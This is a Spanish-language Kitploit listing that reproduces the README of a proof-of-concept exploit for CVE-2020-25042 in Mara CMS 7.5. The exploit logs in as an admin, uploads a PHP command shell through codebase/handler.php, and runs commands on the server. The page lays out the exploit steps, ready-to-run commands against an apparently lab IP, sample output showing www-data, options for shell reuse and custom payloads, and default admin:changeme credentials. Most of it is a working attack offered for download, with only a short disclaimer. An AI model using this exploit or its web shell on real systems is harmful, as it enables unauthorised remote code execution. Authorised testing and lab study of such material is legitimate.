Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-25042-PoC — PoC para CVE-2020-25042: subida automatizada de PHP autenticada a RCE en Mara CMS 7.5, con manejo de hash de inicio de sesión, reutilización de shell, soporte de payload personalizado y salida CLI limpia. | Kitploit
Herramientas/GitHubGitHub/groppoxx/cve-2020-25042-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubgroppoxx/cve-2020-25042-poc

CVE-2020-25042-PoC

PoC para CVE-2020-25042: subida automatizada de PHP autenticada a RCE en Mara CMS 7.5, con manejo de hash de inicio de sesión, reutilización de shell, soporte de payload personalizado y salida CLI limpia.

Ver Repositorio
54hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-25042-PoC

Prueba de concepto para CVE-2020-25042, un problema de subida arbitraria de archivos autenticada en Mara CMS 7.5 que puede conducir a la ejecución remota de código.

El script inicia sesión con una cuenta válida de administrador/encargado de Mara CMS, sube un payload PHP a través de codebase/handler.php y ejecuta comandos mediante el archivo subido.

También reutiliza una shell existente cuando es posible, para no crear un nuevo archivo PHP en cada ejecución.

Lo que hace

  1. Comprueba si la shell esperada ya existe y es reutilizable.
  2. Si es reutilizable, ejecuta el comando directamente.
  3. Si no es reutilizable, carga una página del CMS y extrae shash.
  4. Solicita el salt de inicio de sesión con la acción setsalt.
  5. Calcula los hashes de inicio de sesión de Mara CMS.
  6. Se autentica como usuario válido.
  7. Abre el flujo de subida en codebase/dir.php?type=filenew.
  8. Sube un payload de comandos PHP a través de codebase/handler.php.
  • Ejecuta --cmd mediante la shell subida.
  • Requisitos

    root@kitploit:~
    Python 3.8+
    
    pip install -r requirements.txt
    

    Paquetes de Python necesarios:

    root@kitploit:~
    requests
    urllib3
    

    Inicio rápido

    Los valores entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url <MARA_CMS_URL> \
      --username <USERNAME> \
      --password '<PASSWORD>' \
      --cmd whoami
    

    Marcadores de posición

    root@kitploit:~
    <MARA_CMS_URL>  # Target Mara CMS base URL. Example: http://target/cms
    <USERNAME>      # Valid Mara CMS admin/manager username.
    <PASSWORD>      # Valid Mara CMS admin/manager password.
    

    Ejemplo completo

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --username admin \
      --password changeme \
      --cmd whoami
    

    Salida de ejemplo:

    root@kitploit:~
    [2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
    [2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
    [2026-05-17T23:32:31Z] [+] Found shash: 9552
    [2026-05-17T23:32:31Z] [*] Requesting login salt
    [2026-05-17T23:32:31Z] [+] Got salt: 4253
    [2026-05-17T23:32:31Z] [*] Logging in as admin
    [2026-05-17T23:32:31Z] [+] Login successful: OK:5
    [2026-05-17T23:32:31Z] [*] Opening upload form
    [2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
    [2026-05-17T23:32:32Z] [+] Upload request completed
    [2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
    [2026-05-17T23:32:32Z] [*] Executing command: whoami
    
    [+] Command output
    MARA_CVE_2020_25042_OK
    www-data
    

    Reutilizar una shell existente

    Por defecto, el script usa un nombre de shell estable:

    root@kitploit:~
    mara-poc.php
    

    En la siguiente ejecución, comprueba:

    root@kitploit:~
    http://target/cms/img/mara-poc.php
    

    Si la shell responde con el marcador esperado, el script omite el inicio de sesión y la subida:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --cmd "ls -la"
    

    Para reutilizar una shell creada con un nombre aleatorio anterior:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --shell-name mara-poc-jxfizldy.php \
      --cmd whoami
    

    También puedes pasar directamente la ruta de la shell expuesta:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --shell-url-path /cms/img/mara-poc-jxfizldy.php \
      --cmd "ls -la"
    

    Solo subida

    Sube el payload sin ejecutar un comando:

    root@kitploit:~
    python3 cve_2020_25042.py \
      --url http://10.129.96.20/cms \
      --username admin \
      --password changeme \
      --upload-only
    

    Banderas opcionales

    root@kitploit:~
    --page <PAGE>
       Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
    
    --shell-name <NAME>
       PHP filename to upload or reuse. Default: mara-poc.php
    
    --shell-url-path <PATH_OR_URL>
       Explicit shell path or URL to reuse.
       Example: /cms/img/mara-poc.php
    
    --payload-file <FILE>
       Upload a custom PHP payload instead of the default ?cmd= shell.
    
    --destdir <DIR>
       Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
    
    --force-upload
       Always login and upload, even if a reusable shell already exists.
    
    --upload-only
       Upload the payload but do not execute --cmd.
    
    --only-final
       Hide progress logs and print only command output.
    
    --no-color
       Disable ANSI colors.
    
    --debug
       Print request URLs and short handler response snippets.
    

    Notas

    • El exploit requiere una sesión válida y autenticada de administrador o encargado de Mara CMS.
    • Las credenciales predeterminadas de Mara CMS pueden ser admin:changeme en instalaciones de prueba sin modificar.
    • El payload predeterminado imprime MARA_CVE_2020_25042_OK antes de la salida del comando.
    • La ubicación de subida predeterminada observada en Mara CMS 7.5 es img/.
    • Reutiliza la shell siempre que sea posible para evitar dejar muchos archivos PHP en el objetivo.
    • Usa --force-upload solo cuando necesites sobrescribir o recrear el payload.

    Aviso legal

    Este PoC está destinado a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No lo utilices contra sistemas sin permiso explícito.

    Descargar herramienta